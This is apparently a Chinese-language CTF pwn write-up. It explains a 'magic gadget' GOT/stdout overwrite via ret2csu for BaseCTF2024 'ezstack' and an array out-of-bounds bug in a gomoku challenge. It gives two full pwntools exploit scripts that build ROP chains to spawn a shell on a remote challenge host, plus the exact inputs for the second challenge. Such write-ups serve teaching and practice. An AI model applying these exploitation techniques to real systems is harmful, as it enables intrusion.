asm
.text:0000000000400658 add [rbp-3Dh], ebx
.text:000000000040065B nop
.text:000000000040065C retn这个gadget就比较常见了，就是把ebx的值加给rbp-0x3d内的一个指针解引用后的内容，后面是进行了一个nop不作操作，再后面ret就是继续执行我们栈上的内容，这个主要是要控制rbp与rbx才能实现任意地址写，主要还是利用之前讲过的csu函数去控制这两个寄存器。下面看例题
BaseCTF2024新生赛ezstack
先checksec
这里只开了nx保护，我们去ida看看
这里就一个光秃秃的gets栈溢出，什么输出函数都没有。那怎么办呢？这里因为没有全开relro可以打ret2dlresolve，不过这里也有magic gadget
那这里其实有很多解法了，第一种就是ret2dlresolve（后面我会单独写个文章和延迟绑定机制一起讲），第二种是用magic gadget写got表，写出来一个system函数，直接rop链打完，第三种是因为标准输出也是一个libc库的指针，所以我们也可以写这个，只要我们把他写成一个输出函数，就可以实现泄露libc基址
这里其实第一种和第二种都比较看题，如果开了full relro那就不能用了，第三种就比较全一点，没有这个限制。
用magic gadget改got表解法
这里我们先看第二种，我们先找got表有哪些函数
这里有两个函数，随便写哪个都一样，我们写gets看看，先找出gets和system在libc的偏移
我们只需要把0x80520+某个数让它=0x50d70，我们这里很显然注意到这里要用补码，我们直接算一下就知道答案是0xFFFFFFFFFFFD0850所以这里就很简单了，我们只需要控制rbx是0xFFFFFFFFFFFD0850，rbp是gets的got表的地址+0x3d就写完了，完整exp如下
from pwn import *
import sys
#context.log_level='debug'
context.arch='amd64'
flag = 1
elf=ELF('./pwn')
libc = ELF('./libc.so.6')
if flag:
p = remote('challenge.imxbt.cn',32689)
else:
p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def csu(rbx,rbp,got,rdi,rsi,rdx):
pay=p64(0)+p64(rbx)+p64(rbp)+p64(got)+p64(rdi)+p64(rsi)+p64(rdx)
return pay
def dbg():
gdb.attach(p)
pause()
magic=0x400658
csugo=0x4006D0
csuin=0x4006E6
rdi=0x4006f3
gets=elf.got['gets']
target=0x601018
ret=0x4006F4
system=elf.plt['gets']
get=elf.sym['gets']
pay=0x10*b'b'+flat(rdi,elf.bss()+0x50,get)+p64(csuin)+csu(0xFFFFFFFFFFFD0850,target+0x3d,0,0,0,0)+p64(magic)+flat(ret,rdi,elf.bss()+0x50,system)
sl(pay)
sl(b'/bin/sh\x00')
ti()效果如下
用magic gadget改bss解法
去改bss也可以，不过有点奇怪，我远程没打通。具体流程是一样的，先从stdin，stdout，stderr里挑一个找他们在libc里的偏移，再找一个输出函数在libc里的偏移。不过因为要泄露libc所以需要两次输入，直接返回main是会报错的，好像是因为io结构体被我们改掉了所以不能直接用gets了，这里选择就是再用一次magic gadget把我们改的io结构再改回去就可以再用gets了往bss写了，写完我们再用两次leave栈迁移过去执行即可（也可以不迁移用ret2csu），然后因为system函数会抬栈，要把gets写入bss的地址写高一点，我打本地的脚本如下
from pwn import *
import sys
#context.log_level='debug'
context.arch='amd64'
flag = 1
elf=ELF('./pwn')
libc = ELF('./libc.so.6')
if flag:
p = remote('challenge.imxbt.cn',30415)
else:
p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def csu(rbx,rbp,got,rdi,rsi,rdx):
pay=p64(0)+p64(rbx)+p64(rbp)+p64(got)+p64(rdi)+p64(rsi)+p64(rdx)
return pay
def dbg():
gdb.attach(p)
pause()
magic=0x400658
csugo=0x4006D0
csuin=0x4006E6
rdi=0x4006f3
gets=elf.got['gets']
get=elf.sym['gets']
target=0x601040
ret=0x4006F4
leave=0x40068C
bss=0x6011D0+0x800
rbp=0x400656
pay=0x10*b'b'+p64(csuin)+csu(0xFFFFFFFFFFEF9160,target+0x3d,0,0,0,0)+p64(magic)+p64(csuin)+csu(0,1,target,2,gets,0x20)+p64(csugo)+csu(0x106EA0,target+0x3d,0,0,0,0)+p64(magic)+flat(rdi,bss,get,rbp,bss,leave)+p64(leave)
sl(pay)
libcbase=u64(rc(6).ljust(8,b'\x00'))-libc.sym['gets']
print(hex(libcbase))
system=libcbase+libc.sym['system']
binsh=libcbase+next(libc.search(b'/bin/sh'))
pay=flat(0,ret,rdi,binsh,system)
sl(pay)
ti()我的版本是glibc2.35，小版本是3.11，远程是glibc2.35小版本是3.8。理论上远程的偏移应该是0xFFFFFFFFFFEF9008，不过我输这个不知道为啥不行，好像是没改成write函数，没有泄露出来。挺奇怪的。不过思路大概就是这样，效果如下
数组越界
数组越界顾名思义，也就是访问数组时索引超出定义范围，可能导致程序访问非法内存。比如我定义一个数组a[10]，然后后面有a[i]但i却能等于10，这就越界了。如果他检查i范围检查的不细致（没检查上界或下界）就可以实现几乎任意地址访问，那具体访问的地址是什么地址的呢？这就得有一些c语言基础了，在c语言中我们知道a[1]=*(a+1)这样我们的a[i]其实就是 *(a+i)假如i可以控制，或者a+i这个地址就是我们想改的地址，那么我们就可以访问到这个地址的内存，就很有可能可以进行修改。具体的地址运算就要看该数组的定义，int就是4字节定义，假如int a[10]那a地址与a+1地址就差4，char就差1，double就差8，二维数组也一样，二维数组可以看成一维数组的数组，比如int a[10] [10]，相当于把a[10]又看成一个数组的元素，那a[1]距离a就差10个int，也就是40。还不懂的话可以去看看c语言，下面我们看题。
BaseCTF2024新生赛五子棋
这题其实9分逆向1分pwn，逆向出来了基本就写完了，不过我们还是老规矩先checksec
然后去ida看看
这里既然是五子棋，那肯定要有这几个模块，打印地图，玩家下棋，另一方下棋，检查，获胜。简单逆向一下，这里逻辑就是首先展示地图，然后用户先下，判断用户是否赢，没赢就递归调用game函数把a1改成1让if为真，进而让电脑下棋，然后判断电脑有没有赢，然后把a1改成0让用户再下，只要我们的下两颗棋就获胜就给我们shell，显然这样直接下不可能获得shell，所以一定有某个漏洞。
这里漏洞在用户下棋那里
这里有数组越界，不过运用的时候要注意因为地图其实里面一开始都是数字-1，所以我们只能在数字为-1的地方改数值，改成这个0，接下来我们看判断输赢的函数。
这里我们可以看见，这里四个循环，而这个x数组和y数组配合起来应该就是一个方向数组，通过n7的循环让这两个数组组合实现标定方向，n5的循环在遍历8个方向的棋子，n19_3与n19_2的组合就是遍历整个地图找标点，后面n7与n5就是在这个标点上延伸8个方向，如果有一次没找到对应棋子就断开这一次n5的循环换一个方向再找（也就是五子棋没连起来五个子），如果能找到五个（遍历五次）就判断获胜。我们可以看看这个方向向量的数组
这个dd就是定义双字的意思define doubleword，双字就是4个字节，也就是int的意思。其中2 dup(0)就是0重复两次，0FFFFFFFFh这里h就是16进制的意思，其实就是0xFFFFFFFF，这个就是-1的补码形式，数组内容如下
y ：0 0 1 -1 1 -1 1 -1
x : 1 -1 0 0 1 -1 -1 1因为小端序所以他们的地址就是从左到右就是依次由0x4020去+4。到这里这个题就差不多结束了，因为我们用户输入能把-1变成0，这里我们要么选0x402c这个地址把这个-1变成0，这样xy组合的方向向量就变成(0,0)了，相当于这个地方延伸的五个方向都是他自己，实现检查自己五次，那就可以实现两颗棋子获胜了（也就是第二颗棋子下在方向数组里了哈哈），要么我们选把0x4044这个地址的-1变成0，这些都可以。接下来我们算我们地图数组到方向数组的偏移
地图数组的起始位置是0x9D60而且他也是int，以0x4044为例，到这的偏移就是0x9D60-0x4044也就是0x5D1C也就是十进制的23836我们知道int代表4字节，23836也就是5,959个偏移，也就是我们需要map[-5959]就能改到这个位置实现把方向向量改成(0,0)，我们下棋是这样下的
map[20 * n19 + n19_1]=0，所以就随便搭配一下n19和n19_1凑出来-5959就可以了，这里注意n19，n19_1不能大于19就可以了，比如-298*20 1
或者-297 *20 -19都可以。这样我们只需要nc上去，先随便下一个地方，再输入-298 1或者-297 -19就getshell了。效果如下。
这题感觉设计的挺好的，有点意思，虽然逆向了我好久...